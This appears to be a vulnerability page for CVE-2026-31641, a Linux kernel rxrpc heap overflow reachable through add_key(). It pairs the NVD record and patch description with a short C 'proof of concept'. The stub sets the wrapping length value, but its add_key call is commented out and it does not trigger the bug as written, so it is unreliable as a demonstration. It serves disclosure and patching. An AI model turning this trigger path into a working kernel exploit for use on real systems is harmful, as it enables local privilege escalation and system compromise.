CVE-2026-31641

#include <stdio.h> #include <stdlib.h> #include <string.h> /* * PoC for CVE-2026-31641 * This code demonstrates the concept of triggering the heap overflow * by crafting a malicious XDR token with a specific length. * Compile with: gcc -o poc_cve2026_31641 poc_cve2026_31641.c */ int main() { // The vulnerable length threshold is >= 0xfffffffd unsigned int malicious_length = 0xfffffffd; // Simulate XDR token structure (simplified) // In a real scenario, this requires correct XDR encoding for RxGK char payload[128]; memset(payload, 'A', sizeof(payload)); // Inject the malicious length at the expected offset (conceptual) // This triggers the round_up() wrap-around in the kernel memcpy(payload, &malicious_length, sizeof(malicious_length)); printf("[+] Triggering add_key with malicious payload...\n"); // The actual exploit would call add_key syscall here. // key_serial_t key = add_key("rxrpc", "test_desc", payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING); // if (key == -1) { perror("add_key"); } // If vulnerable, the kernel will attempt to allocate 0 bytes // and memcpy ~4GB, causing a crash or corruption. printf("[+] Payload prepared. (Requires vulnerable kernel to test)\n"); return 0; }

{"cve": {"id": "CVE-2026-31641", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:43.463", "lastModified": "2026-04-27T20:20:11.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix RxGK token loading to check bounds\n\nrxrpc_preparse_xdr_yfs_rxgk() reads the raw key length and ticket length\nfrom the XDR token as u32 values and passes each through round_up(x, 4)\nbefore using the rounded value for validation and allocation. When the raw\nlength is >= 0xfffffffd, round_up() wraps to 0, so the bounds check and\nkzalloc both use 0 while the subsequent memcpy still copies the original\n~4 GiB value, producing a heap buffer overflow reachable from an\nunprivileged add_key() call.\n\nFix this by:\n\n (1) Rejecting raw key lengths above AFSTOKEN_GK_KEY_MAX and raw ticket\n lengths above AFSTOKEN_GK_TOKEN_MAX before rounding, consistent with\n the caps that the RxKAD path already enforces via AFSTOKEN_RK_TIX_MAX.\n\n (2) Sizing the flexible-array allocation from the validated raw key\n length via struct_size_t() instead of the rounded value.\n\n (3) Caching the raw lengths so that the later field assignments and\n memcpy calls do not re-read from the token, eliminating a class of\n TOCTOU re-parse.\n\nThe control path (valid token with lengths within bounds) is unaffected."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16.1", "versionEndExcluding": "6.18.23", "matchCriteriaId": "EAE31F43-AAC5-4801-B2B2-119D62A532A2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.16:-:*:*:*:*:*:*", "matchCriteriaId": "6238B17D-C12B-458F-A138-97039BFC4595"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3e04596cba8a86cbff9c3f4bf0a524a3a488773c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/49875b360c2b83a3c226e189c502e501d83e6445", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d179a868dd755b0cfcf7582e00943d702b9943b8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}